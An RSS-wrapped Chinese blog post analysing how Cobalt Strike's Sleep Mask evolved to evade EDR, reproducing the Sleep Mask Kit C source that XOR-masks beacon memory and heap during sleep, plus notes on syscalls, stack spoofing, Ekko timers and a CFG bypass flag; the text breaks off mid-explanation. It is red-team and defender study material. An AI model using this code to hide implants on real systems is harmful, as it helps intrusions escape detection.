<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>干杯Security</title>
    <link>https://wechat2rss.xlab.app/feed/a8422817da57b5ad2c39c8f264d2eeef683bb338.xml</link>
    <description>Hacking Every Day。Happy Every Day。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (干杯Security)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM6M7vRwT8bWOFDpGco2Qs1t4IS6HqeQLSia5d7hv0gyyoA/0</url>
      <title>干杯Security</title>
      <link>https://wechat2rss.xlab.app/feed/a8422817da57b5ad2c39c8f264d2eeef683bb338.xml</link>
    </image>
    <item>
      <title>从Sleep Mask到Beacon Gate看现代EDR规避技术</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MDM3NjcxMg==&amp;mid=2247483792&amp;idx=1&amp;sn=7d44b626a088271b747180bff97ffd7c</link>
      <description>好久没写文章了，开始今年的第一篇，顺便吐槽下，公众号这个排版真难用啊</description>
      <content:encoded><![CDATA[<p>
原创 <span>鬼屋女鬼</span> <span>2025-06-11 09:56</span> <span style="display: inline-block;">山东</span>
</p>

<p>好久没写文章了，开始今年的第一篇，顺便吐槽下，公众号这个排版真难用啊</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=af3d841e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjQhdxRmEINg1iaEkccbdqgpYOWglvRCeib6NBXicAC0tO02meFibsECN8sA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 data-pm-slice="0 0 []"><span leaf="">好久没写文章了，开始今年的第一篇，顺便吐槽下，公众号这个排版真难用啊，话不多说，正文开始，今天主要来聊聊Cobalt Strike中的Sleep Mask</span></h2><h2 data-pm-slice="0 0 []"><span leaf=""><br/></span></h2><h2 data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">一、什么是Sleep Mask</span></span></h2><p><span leaf="">Sleep Mask 是 Cobalt Strike 在内存中屏蔽和解除自身屏蔽的功能。主要目的是避免内存检测，但是Sleep Mask本身会被作为检测的一部分。</span></p><h2><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">二、从 Sleep Mask 进化史看现代EDR规避</span></span></h2><h2><span leaf=""><br/></span></h2><h3><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">1、Cobalt Strike 4.4 首次加入Kit</span></span></h3><p><span leaf="">2021年8月，Sleep Mask Kit 最初在 Cobalt Strike 4.4 中推出，提供自定义Sleepmask代码的能力，规避针对sleepmask本身的内存签名规则，默认大小为289字节</span></p><h3><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">2、Cobalt Strike 4.5 Sleep Mask Update</span></span></h3><p><span leaf="">2021年12月，Cobalt Strike 4.5 对Sleep mask进行了更新，Sleepmask能够加密Beacon使用的堆内存，从而规避BeaconEyes等针对堆内存特征的检测</span></p><ul class="list-paddingleft-1"><li><p><span leaf="">从 289 字节增加到 769 字节，如果超过这个大小，将使用默认的Sleep Mask</span></p></li><li><p><span leaf="">堆内存加密</span></p></li><ul class="list-paddingleft-1"><li style="text-align:left;"><p><span leaf="">添加了新的 HEAP_RECORDS 数据结构</span></p></li><li style="text-align:left;"><p><span leaf="">添加了指向现有 SLEEPMASKP 结构的 HEAP_RECORDS 数据结构的指针</span></p></li><li style="text-align:left;"><p><span leaf="">添加了新的循环，用于屏蔽和取消屏蔽由 HEAP_RECORDS 结构标识的堆内存</span></p></li></ul></ul><p data-pm-slice="0 0 []"><span leaf="">源代码如下：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cpp"><p><span leaf=""><span class="code-snippet__comment">/******** 不要修改此文件开始 ********/</span></span></p><p><span leaf=""><span class="code-snippet__meta">#</span><span class="code-snippet__meta"><span class="code-snippet__keyword">include</span></span><span class="code-snippet__meta"> </span><span class="code-snippet__meta"><span class="code-snippet__string">&lt;windows.h&gt;</span></span></span></p><p><span leaf=""><span class="code-snippet__meta">#</span><span class="code-snippet__meta"><span class="code-snippet__keyword">define</span></span><span class="code-snippet__meta"> MASK_SIZE 13</span></span></p><p><span leaf=""><span class="code-snippet__comment">/*</span></span></p><p><span leaf=""> *  ptr  - 指向已分配内存的基地址指针。</span></p><p><span leaf=""> *  size - 为ptr分配的字节数。</span></p><p><span leaf=""> */</span></p><p><span leaf=""><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">struct</span> {</span></p><p><span leaf="">        <span class="code-snippet__type">char</span> * ptr;</span></p><p><span leaf="">        <span class="code-snippet__type">size_t</span> size;</span></p><p><span leaf="">} HEAP_RECORD;</span></p><p><span leaf=""><span class="code-snippet__comment">/*</span></span></p><p><span leaf=""> *  beacon_ptr   - 指向Beacon基地址的指针</span></p><p><span leaf=""> *  sections     - Beacon想要掩盖的内存区段列表。</span></p><p><span leaf=""> *                 每个区段由起始和结束索引位置的对表示。</span></p><p><span leaf=""> *                 列表以起始和结束位置均为0的对结束。</span></p><p><span leaf=""> *  heap_records - Beacon想要掩盖的堆内存地址列表。</span></p><p><span leaf=""> *                 列表以HEAP_RECORD.ptr为NULL结束。</span></p><p><span leaf=""> *  mask         - Beacon随机生成用于掩盖的掩码</span></p><p><span leaf=""> */</span></p><p><span leaf=""><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">struct</span> {</span></p><p><span leaf="">        <span class="code-snippet__type">char</span>  * beacon_ptr;</span></p><p><span leaf="">        DWORD * sections;</span></p><p><span leaf="">        HEAP_RECORD * heap_records;</span></p><p><span leaf="">        <span class="code-snippet__type">char</span>    mask[MASK_SIZE];</span></p><p><span leaf="">} SLEEPMASKP;</span></p><p><span leaf=""><span class="code-snippet__function"><span class="code-snippet__type">void</span></span><span class="code-snippet__function"> </span><span class="code-snippet__function"><span class="code-snippet__title">sleep_mask</span></span><span class="code-snippet__function"><span class="code-snippet__params">(SLEEPMASKP * parms, </span></span><span class="code-snippet__function"><span class="code-snippet__params"><span class="code-snippet__type">void</span></span></span><span class="code-snippet__function"><span class="code-snippet__params">(__stdcall *pSleep)(DWORD), DWORD time)</span></span><span class="code-snippet__function"> </span>{</span></p><p><span leaf=""><span class="code-snippet__comment">/******** 不要修改此文件结束 ********/</span></span></p><p><span leaf=""><span class="code-snippet__comment">/******** 修改文件开始 ********/</span></span></p><p><span leaf="">        DWORD * index;</span></p><p><span leaf="">        DWORD a, b;</span></p><p><span leaf="">        <span class="code-snippet__comment">/* 遍历区段并进行掩盖 */</span></span></p><p><span leaf="">        index = parms-&gt;sections;</span></p><p><span leaf="">        <span class="code-snippet__keyword">while</span> (TRUE) {</span></p><p><span leaf="">                a = *index; b = *(index + <span class="code-snippet__number">1</span>);</span></p><p><span leaf="">                index += <span class="code-snippet__number">2</span>;</span></p><p><span leaf="">                <span class="code-snippet__keyword">if</span> (a == <span class="code-snippet__number">0</span> &amp;&amp; b == <span class="code-snippet__number">0</span>)</span></p><p><span leaf="">                        <span class="code-snippet__keyword">break</span>;</span></p><p><span leaf="">                <span class="code-snippet__keyword">while</span> (a &lt; b) {</span></p><p><span leaf="">                        *(parms-&gt;beacon_ptr + a) ^= parms-&gt;mask[a % MASK_SIZE];</span></p><p><span leaf="">                        a++;</span></p><p><span leaf="">                }</span></p><p><span leaf="">        }</span></p><p><span leaf="">        <span class="code-snippet__comment">/* 掩盖堆内存记录 */</span></span></p><p><span leaf="">        a = <span class="code-snippet__number">0</span>;</span></p><p><span leaf="">        <span class="code-snippet__keyword">while</span> (parms-&gt;heap_records[a].ptr != <span class="code-snippet__literal">NULL</span>) {</span></p><p><span leaf="">                <span class="code-snippet__keyword">for</span> (b = <span class="code-snippet__number">0</span>; b &lt; parms-&gt;heap_records[a].size; b++) {</span></p><p><span leaf="">                        parms-&gt;heap_records[a].ptr[b] ^= parms-&gt;mask[b % MASK_SIZE];</span></p><p><span leaf="">                }</span></p><p><span leaf="">                a++;</span></p><p><span leaf="">        }</span></p><p><span leaf="">        <span class="code-snippet__built_in">pSleep</span>(time);</span></p><p><span leaf="">        <span class="code-snippet__comment">/* 取消掩盖堆内存记录 */</span></span></p><p><span leaf="">        a = <span class="code-snippet__number">0</span>;</span></p><p><span leaf="">        <span class="code-snippet__keyword">while</span> (parms-&gt;heap_records[a].ptr != <span class="code-snippet__literal">NULL</span>) {</span></p><p><span leaf="">                <span class="code-snippet__keyword">for</span> (b = <span class="code-snippet__number">0</span>; b &lt; parms-&gt;heap_records[a].size; b++) {</span></p><p><span leaf="">                        parms-&gt;heap_records[a].ptr[b] ^= parms-&gt;mask[b % MASK_SIZE];</span></p><p><span leaf="">                }</span></p><p><span leaf="">                a++;</span></p><p><span leaf="">        }</span></p><p><span leaf="">        <span class="code-snippet__comment">/* 遍历区段并取消掩盖 */</span></span></p><p><span leaf="">        index = parms-&gt;sections;</span></p><p><span leaf="">        <span class="code-snippet__keyword">while</span> (TRUE) {</span></p><p><span leaf="">                a = *index; b = *(index + <span class="code-snippet__number">1</span>);</span></p><p><span leaf="">                index += <span class="code-snippet__number">2</span>;</span></p><p><span leaf="">                <span class="code-snippet__keyword">if</span> (a == <span class="code-snippet__number">0</span> &amp;&amp; b == <span class="code-snippet__number">0</span>)</span></p><p><span leaf="">                        <span class="code-snippet__keyword">break</span>;</span></p><p><span leaf="">                <span class="code-snippet__keyword">while</span> (a &lt; b) {</span></p><p><span leaf="">                        *(parms-&gt;beacon_ptr + a) ^= parms-&gt;mask[a % MASK_SIZE];</span></p><p><span leaf="">                        a++;</span></p><p><span leaf="">                }</span></p><p><span leaf="">        }</span></p><p><span leaf="">        <span class="code-snippet__comment">/******** 修改文件结束 ********/</span></span></p><p><span leaf="">}</span></p></pre></p><p><span leaf="">注：仅在睡眠时间超过 2 秒时进行屏蔽和取消屏蔽</span></p><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">来自官方的</span><span leaf="">效果图，但是依旧会被卡巴斯基扫描到</span></p><p nodeleaf=""><img data-imgfileid="100000099" class="rich_pages wxw-img" data-ratio="0.15555555555555556" data-type="png" data-w="1080" data-width="1407" data-height="219" src="https://wechat2rss.xlab.app/img-proxy/?k=b4b1cebc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjGAUUUMibxqKMeGXI3I8ql83DbZBR5gbm8qU3gs7iaEibSwhaPtSvzxYQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">3、Cobalt Strike 4.7-4.9 Sleep Mask Refactoring</span></span></h3><p><span leaf="">2022年8月，Sleep Mask以BOF形式重构，不再存放在beacon的.text部分，而是存放在bof使用内存。同年6月，基于线程池的睡眠混淆技术Ekko发布，这使得在完成对Beacon相关内存加密后，再对Sleep Mask本身进行加密成为可能，这项技术后续被加入到 Sleep Mask Kit中</span></p><p><span leaf="">整个文件目录如下</span></p><p nodeleaf=""><img data-imgfileid="100000103" class="rich_pages wxw-img" data-ratio="0.49765258215962443" data-type="png" data-w="852" data-width="852" data-height="424" src="https://wechat2rss.xlab.app/img-proxy/?k=59ebaa01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjU3IPiatWEtH3c3bsYvibrBnKlF0ntGv2JVeUVbZYAOoT0KlgsFk1Ajgw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul class="list-paddingleft-1"><li><p><span leaf="">beacon.h：定义可用的内部beacon api</span></p></li><li><p><span leaf="">bofdefs.h：定义 Windows API 的动态函数解析原型</span></p></li><li><p><span leaf="">cfg.c：CFG保护绕过，仅限x64，使用evasive_sleep和evasive_sleep_stack_spoof弃用</span></p></li><li><p><span leaf="">common_mask.c：常见屏蔽函数</span></p></li><li><p><span leaf="">evasive_sleep.c：使用 CreateTimerQueueTimer 混淆Sleep Mask自身，仅限X64</span></p></li><li><p><span leaf="">evasive_sleep_stack_spoof.c：添加了堆栈欺骗的evasive_sleep，仅限X64</span></p></li><li><p><span leaf="">log_sleepmask_parms.c：将信息记录到beacon console</span></p></li><li><p><span leaf="">mask_text_section.c：睡眠之前屏蔽.text部分</span></p></li><li><p><span leaf="">sleepmask.c：定义默认Sleep Mask类型的Sleep Mask函数</span></p></li><li><p><span leaf="">sleepmask_pivot.c：定义pivot Sleep Mask类型的Sleep Mask函数</span></p></li><li><p><span leaf="">syscall.h：syscall相关头文件</span></p></li><li><p><span leaf="">syscalls_embedded.c：使用嵌入式方法实现syscall</span></p></li><li><p><span leaf="">syscalls_indirect.c：使用间接syscall</span></p></li><li><p><span leaf="">syscalls_indirect_randomized.c：使用indirect_randomedical方法实现syscall</span></p></li></ul><p><span leaf="">更详细的以及一些注意事项，参考Sleep Mask Kit中的README.md，这里就详细分析关键代码</span></p><h3><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">（1）加密内存区段、堆内存、Sleepmask bof 自身</span></span></h3><p><span leaf="">首先是sleepmask.c，代码中存在一个<span textstyle="" style="font-weight: bold;">sleep_mask</span>函数，该函数根据用户的配置以及编译选项，来加密beacon的内存区段、堆内存以及是否加密sleep mask bof 自身。</span></p><p nodeleaf=""><img data-imgfileid="100000104" class="rich_pages wxw-img" data-ratio="0.7944444444444444" data-type="png" data-w="1080" data-width="1280" data-height="1017" src="https://wechat2rss.xlab.app/img-proxy/?k=f95be4fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjA8021A535wd0h1ibd9LSBZAJoRZQlPeselE5PQg9oZzfHzZSsZytvIg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><p><span leaf="">加密函数<span textstyle="" style="font-weight: bold;">mask_sections</span>和<span textstyle="" style="font-weight: bold;">mask_heap</span>在common_mask.c文件中定义，<span textstyle="" style="font-weight: bold;">mask_sections</span>函数通过遍历</span><span leaf=""><span textstyle="" style="font-weight: bold;">SLEEPMASKP</span></span><span leaf="">结构中的区段数组, 对每个区段调用<span textstyle="" style="font-weight: bold;">mask_section</span>函数来实现加密或解密操作，</span></p></div><p nodeleaf=""><img data-imgfileid="100000102" class="rich_pages wxw-img" data-ratio="0.7511961722488039" data-type="png" data-w="627" data-width="627" data-height="471" src="https://wechat2rss.xlab.app/img-proxy/?k=100b382c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjN6sIJ0cJBNjKXpGGnvSC9w2RtXUzib1pcsicXT8m9Cwo66XRTibZ799iaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">mask_section</span></span><span leaf="">函数用于xor加密或解密内存区段，接受三个参数：一个<span textstyle="" style="font-weight: bold;">SLEEPMASK</span>P指针和两个指定内存区段起始和结束位置的值</span></p><p nodeleaf=""><img data-imgfileid="100000101" class="rich_pages wxw-img" data-ratio="0.3463143254520167" data-type="png" data-w="719" data-width="719" data-height="249" src="https://wechat2rss.xlab.app/img-proxy/?k=145d4c44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjJn2HzseTJAqNjMEv4wboia9RD4jLOVaguicOPZjZPhiav3CAp0UfkNTUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">可以修改此处的异或加密方式，例如</span></p><pre style="white-space:pre-wrap;"><div data-lark-language="C++" data-wrap="true"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><p><span leaf=""><span class="code-snippet__function"><span class="code-snippet__keyword">void</span></span><span class="code-snippet__function"> </span><span class="code-snippet__function"><span class="code-snippet__title">mask_section</span></span><span class="code-snippet__function">(</span><span class="code-snippet__function"><span class="code-snippet__params">SLEEPMASKP * parms, DWORD a, DWORD b</span></span><span class="code-snippet__function">)</span> {</span></p><p><span leaf="">   <span class="code-snippet__built_in">char</span> key[] = <span class="code-snippet__string">&#34;fjsihwisf349saf0&#34;</span>;</span></p><p><span leaf="">   size_t key_lenght = <span class="code-snippet__keyword">sizeof</span>(key) - <span class="code-snippet__number">1</span>;</span></p><p><span leaf="">   <span class="code-snippet__keyword">while</span> (a &lt; b) {</span></p><p><span leaf="">      *(parms-&gt;beacon_ptr + a) ^= key[a % key_lenght];</span></p><p><span leaf="">      a++;</span></p><p><span leaf="">   }</span></p><p><span leaf="">}</span></p></pre></p><p><span leaf=""><br/></span></p></div></pre><p><span leaf=""><span textstyle="" style="font-weight: bold;">mask_heap</span>函数对分配的堆内存进行加解密操作</span></p><p nodeleaf=""><img data-imgfileid="100000105" class="rich_pages wxw-img" data-ratio="0.5417236662106704" data-type="png" data-w="731" data-width="731" data-height="396" src="https://wechat2rss.xlab.app/img-proxy/?k=5a6836c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjm57ZXKwgmTM3I5p6V9CNZkVj5jAiafRU5fO3bKI7MHj9G825hhYgULw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">（2）修改.text属性</span></span></h3><div><div><p><span leaf="">首先调用<span textstyle="" style="font-weight: bold;">setup_text_section</span>函数确定Beacon中.text的位置，然后根据Profile文件配置中<span textstyle="" style="font-weight: bold;">stage.userwx</span>设置来决定是否掩码<span textstyle="" style="font-weight: bold;">.text</span></span></p></div></div><p nodeleaf=""><img data-imgfileid="100000110" class="rich_pages wxw-img" data-ratio="0.8710659898477158" data-type="png" data-w="985" data-width="985" data-height="858" src="https://wechat2rss.xlab.app/img-proxy/?k=7dae9ae1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjv3r3tm2kYibWGjtq3cSkIw3wMsFe9l2HzDwhmSLJ1HwDgjsrgicS9xwQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">接下来使用</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">mask_text_section</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">和</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">unmask_text_section</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">函数来修改</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">.text</span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">的属性，根据用户选项，如果使用<span textstyle="" style="font-weight: bold;">syscall</span>则用</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">NtProtectVirtualMemory</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">函数修改内存属性，否则使用</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">VirtualProtect</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">函数修改内存属性</span></div><p nodeleaf=""><img data-imgfileid="100000109" class="rich_pages wxw-img" data-ratio="0.6092592592592593" data-type="png" data-w="1080" data-width="1345" data-height="819" src="https://wechat2rss.xlab.app/img-proxy/?k=2af362cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjsKfeyicVG1kTrBD9XS17uE9fjrYe4iat1aOSMqugY45EUKAmA4eIESZQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">（3）利用CreateTimerQueueTimer 混淆Sleep Mask自身</span></span></h3><div><span leaf="">在</span><p><span leaf="">sleepmask.c</span></p><span leaf="">中，将</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">EVASIVE_SLEEP</span></span></p><span leaf="">设置为</span><p><span leaf="">1</span></p><span leaf="">，将使用Ekko混淆Sleep Mask自身</span></div><p nodeleaf=""><img data-imgfileid="100000108" class="rich_pages wxw-img" data-ratio="0.323164918970448" data-type="png" data-w="1049" data-width="1049" data-height="339" src="https://wechat2rss.xlab.app/img-proxy/?k=1d1b1eeb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjBOfHLfCCYSujz5z5QnOj9hibJNbybwy27h7Gen6jbT9fuRaqiarNgLpA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">在下面的EVASIVE_SLEEP部分，我们可以选择是用默认的EVASIVE_SLEEP还是使用添加堆栈欺骗的EVASIVE_SLEEP</span></p><p nodeleaf=""><img data-imgfileid="100000107" class="rich_pages wxw-img" data-ratio="0.34443288241415193" data-type="png" data-w="961" data-width="961" data-height="331" src="https://wechat2rss.xlab.app/img-proxy/?k=684c502c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOj2qkV5TyQ8oeX6VSF1Skj0aJoY4R0ggUyEeiafnxtboryMyLgskUnNzA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">需要注意此处的<span textstyle="" style="font-weight: bold;">#define CFG_BYPASS 0</span>的配置，默认情况下，使用EVASIVE_SLEEP功能会禁用CFG_BYPASS，如果需要进程注入，注入到受CFG保护的进程中，那么就需要把#define CFG_BYPASS设置为1，</span></p><p nodeleaf=""><img data-imgfileid="100000106" class="rich_pages wxw-img" data-ratio="0.28986960882647944" data-type="png" data-w="997" data-width="997" data-height="289" src="https://wechat2rss.xlab.app/img-proxy/?k=e9414527&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjs5dlQ1ChjeDBLFbWq0F63iaNazMl0DeMm3B5rbnXY0Iian9fGY9riaLDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">evasive_sleep</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">函数，主要通过创建一系列的计时器，计时器在触发时使用</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">NtContinue</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">函数来将控制权转移到先前准备好的</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">CONTEXT</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 